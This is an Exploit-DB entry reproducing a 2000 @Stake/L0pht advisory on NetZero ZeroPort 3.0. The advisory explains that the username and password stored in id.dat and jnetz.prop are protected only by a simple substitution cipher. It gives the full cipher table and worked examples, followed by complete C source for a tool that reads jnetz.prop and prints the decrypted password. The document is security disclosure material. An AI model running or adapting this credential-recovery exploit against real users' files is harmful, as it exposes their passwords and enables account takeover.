Exploit-DB #20081
Description: NetZero ZeroPort 3.0 - Weak Encryption Method
Type: local
Platform: windows
Date: 2000-07-18
Author: Brian Carrier

Exploit:
// source: https://www.securityfocus.com/bid/1483/info

Netzero is a free internet service provider which requires its users to run the application ZeroPort in order to log onto the network. The username and password is stored locally in a text file called id.dat and is inadequately encrypted. The weakly encrypted username and password may also be stored in jnetz.prop if the option "Save Password" is enabled.

If a malicious user has access to the aforementioned files, they may decrypt the username and password using the exploit provided by Brian Carrier <bcarrier@atstake.com> or by using a simple substitution cipher. 

Taken from the @Stake/L0pht advisory, Brian Carrier explains how to decrypt the username and password:

The classical substitution cipher is a 1-to-1 mapping between 
characters where each plaintext character is replaced by one ciphertext 
character. For example, let P_i be the plaintext character in location 
'i' and C_j be the ciphertext character in location 'j', then C_i is the 
character that P_i maps to.

The NetZero substitution cipher replaces each plaintext character by 
two ciphertext characters, but the two ciphertext characters are not 
stored together. When substituting character P_i of a password of length 
'n', the first ciphertext character is C_i and the second character is 
C_n+i. 

The two ciphertext characters are derived from the following table:
| 1 a M Q f 7 g T 9 4 L W e 6 y C
--+----------------------------------
g | ` a b c d e f g h i j k l m n o
T | p q r s t u v w x y z { | } ~
f | @ A B C D E F G H I J K L M N O 
7 | P Q R S T U V W X Y Z [ \ ] ^ _
Q | 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
M | SP ! " # $ % & ' ( ) * + , - . / 

The characters inside the table represent the ASCII plaintext characters 
and SP represents a space. 

When encrypting a string, P, of length 'n', find each character in the 
table and place the column header into C_i and place the row header into 
C_n+i.

For example:
E(a) = ag 
E(aa) = aagg 
E(aqAQ1!) = aaaaaagTf7QM 
E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg 

When decrypting a string, C, of length '2n', then P_i will be the 
element in the above table where the column headed by C_i and the row 
headed by C_n+i intersect. 

For example:
D(af) = A
D(aaff) = AA
D(aaMMQQfgfgfg) = AaBbCc

#include <stdio.h>
#include <string.h>

#define UID_SIZE	64
#define PASS_CIPHER_SIZE	128
#define PASS_PLAIN_SIZE	64
#define BUF_SIZE 256

const char decTable[6][16] = {
  {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
  {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
  {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
  {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
  {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
  {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
};

int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE], 
  char cPlainPass[PASS_PLAIN_SIZE])
{
	int passLen, i, idx1, idx2;
	passLen = strlen(cCipherPass)/2;
	
	if (passLen > PASS_PLAIN_SIZE)
	{
		printf("Error: Plain text array too small\n");
		return 1;
	}

	for (i = 0; i < passLen; i++)
	{
		switch(cCipherPass[i])
		{
		case '1':
			idx2 = 0; break;
		case 'a':
			idx2 = 1; break;
		case 'M':
			idx2 = 2; break;
		case 'Q':
			idx2 = 3; break;
		case 'f':
			idx2 = 4; break;
		case '7':
			idx2 = 5; break;
		case 'g':
			idx2 = 6; break;
		case 'T':
			idx2 = 7; break;
		case '9':
			idx2 = 8; break;
		case '4':
			idx2 = 9; break;
		case 'L':
			idx2 = 10; break;
		case 'W':
			idx2 = 11; break;
		case 'e':
			idx2 = 12; break;
		case '6':
			idx2 = 13; break;
		case 'y':
			idx2 = 14; break;
		case 'C':
			idx2 = 15; break;
		default:
			printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);
			return 1;
			break;
		}

		switch(cCipherPass[i+passLen])
		{
		case 'g':
			idx1 = 0; break;
		case 'T':
			idx1 = 1; break;
		case 'f':
			idx1 = 2; break;
		case '7':
			idx1 = 3; break;
		case 'Q':
			idx1 = 4; break;
		case 'M':
			idx1 = 5; break;
		default:
			printf("Error: Unknown Cipher Text Set: %c\n", 
			  cCipherPass[i+passLen]);
			return 1;
			break;
		}

		cPlainPass[i] = decTable[idx1][idx2];
	}
	cPlainPass[i] = 0;

	return 0;
}

int main(void)
{
	FILE *hParams;
	char cBuffer[BUF_SIZE], cUID[UID_SIZE];
	char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
	int done = 2;

	printf("\nNet Zero Password Decryptor\n");
	printf("Brian Carrier [bcarrier@atstake.com]\n");
	printf("@Stake L0pht Research Labs\n");
	printf("http://www.atstake.com\n\n");

	if ((hParams = fopen("jnetz.prop","r")) == NULL)
	{
		printf("Unable to find jnetz.prop file\n");
		return 1;
	}	

	while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
	{
		if (strncmp(cBuffer, "ProfUID=", 8) == 0)
		{
			done--;
			strncpy(cUID, cBuffer + 8, UID_SIZE);
			printf("UserID: %s", cUID);
		}

		if (strncmp(cBuffer, "ProfPWD=", 8) == 0)
		{
			done--;
			strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);
			printf("Encrypted Password: %s", cCipherPass);

			if (nz_decrypt(cCipherPass, cPlainPass) != 0)
				return 1;
			else
				printf("Plain Text Password: %s\n", cPlainPass);
		}

	}

	fclose(hParams);

	if (done > 0)
	{
		printf("Invalid jnetz.prop file\n");
		return 1;
	} else {
		return 0;
	}
}